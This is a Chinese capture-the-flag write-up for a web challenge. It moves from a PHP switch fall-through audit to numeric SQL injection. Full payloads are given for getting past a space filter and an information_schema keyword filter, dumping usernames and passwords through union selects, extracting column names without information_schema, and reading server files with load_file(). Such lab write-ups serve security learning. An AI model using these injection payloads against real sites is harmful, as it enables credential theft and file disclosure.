1.非常简单的代码审计
打开靶场,映入眼帘一段PHP代码
<?php
include("secret.php");
if(isset($_GET['c'])){
$c = intval($_GET['c']);
sleep($c);
switch ($c) {
case 1:
echo '$url';
break;
case 2:
echo '@A@';
break;
case 555555:
echo $url;
case 44444:
echo "@A@";
break;
case 3333:
echo $url;
break;
case 222:
echo '@A@';
break;
case 222:
echo '@A@';
break;
case 3333:
echo $url;
break;
case 44444:
echo '@A@';
case 555555:
echo $url;
break;
case 3:
echo '@A@';
case 6000000:
echo "$url";
case 1:
echo '@A@';
break;
}
}
highlight_file(__FILE__);
switch...case...(break)语句想必大家很熟悉了,当GET方式提交c=3时,代码不会因为break跳出,而是会继续向下执行。尝试一下
对应$url的位置跳出来一个.php文件,尝试访问,跳出一个查询界面
右键查看前端代码
过滤了 information_schema.tables 和 information_schema.columns 关键字,理应是SQL注入
2.SQL注入
点击’确定‘用get方式提交一个query=1,xss弹窗出一个admin
更改query=2,弹窗一个gtf1y。
提交query=2-1,弹出admin
显而易见,为数字型注入,然后用order by语句判断列数(这里过滤了空格,我用 /**/ 来替代)
query=1/**/order/**/by/**/2# //不正常显示
query=1/**/order/**/by/**/1# //正常显示
列数为1,union select语句爆库名
接下来有两种注入方法,先讲简单的一种
注入方法一:利用反引号绕过
只需要利用反引号写成 information_schema.`tables` 和 information_schema.`columns` 即可染过限制
如此一来只需要常规注入就行
query=0/**/union/**/select/**/group_concat(table_name)/**/from/**/information_schema.`tables`/**/where/**/table_schema='web'#
//查出表名为'content'
query=0/**/union/**/select/**/group_concat(column_name)/**/from/**/information_schema.`columns`/**/where/**/table_name='content'#
//查出列名为'id''username''password'
query=0/**/union/**/select/**/group_concat(id,'~',username,'~',password)/**/from/**/content#
//直接狠狠查到了
注入方法二:找平替表+无列名查询
网上百度一搜就有一大堆information_schema的平替表,由于mysql版本不同,可利用的表也不一样。挨个试一试总会有能用的。这里我用的就是 mysql.innodb_table_stats
利用语句如下:
query=0/**/union/**/select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name=database()#
能用,爆出库名content
但是这个表的话,不能查列名,所以我们要利用,无列名注入
这里的具体原理我就不多赘述,提供一篇文章,写的简单易懂
总之,利用这句SQL语句:select * from (select * from table as a join table as b) as c 让网页报错,报错内容就是我们想要的列名
利用语句如下:
query=0/**/union/**/select/**/*/**/from/**/(select/**/*/**/from/**/content/**/as/**/a/**/join/**/content/**/as/**/b)/**/as/**/c#
右键查看前端代码,或者抓包看响应数据包就可以看到爆出了一个'id'字段
查询语句中用 'using()' 添加爆出的字段名,继续查询:query=0/**/union/**/select/**/*/**/from/**/(select/**/*/**/from/**/content/**/as/**/a/**/join/**/content/**/as/**/b/**/using(id))/**/as/**/c#
,可以爆出下一个字段'username',再添加using(id,username) 爆出最后一个字段'password',然后正常查就行了,结果如下:
提示我们flag不在这里,明显被摆了一道好吧,很不爽
3.找真正地flag文件
这里提到了secret,我们想到最开始审计代码时出现的语句: include("secret.php");
直接访问 xxx.challenge.ctf.show/secret.php 失败,那我们就用mysql中的load_file()函数读取secret.php文件
但实际上数据库路径和secret.php文件并不一样
通过 SELECT @@datadir; 可以查到 数据库数据目录路径为/var/lib/mysql/
而secret.php跟index.php在同一目录,应该是Linux默认网站目录/var/www/html/secret.php
尝试访问
query=0/**/union/**/select/**/load_file('/var/www/html/secret.php')#
查看前端代码,或者抓响应数据包,出现一段代码
提示我们真正地flag在/real_flag_is_here
直接查询 query=0/**/union/**/select/**/load_file('/real_flag_is_here')#
得到flag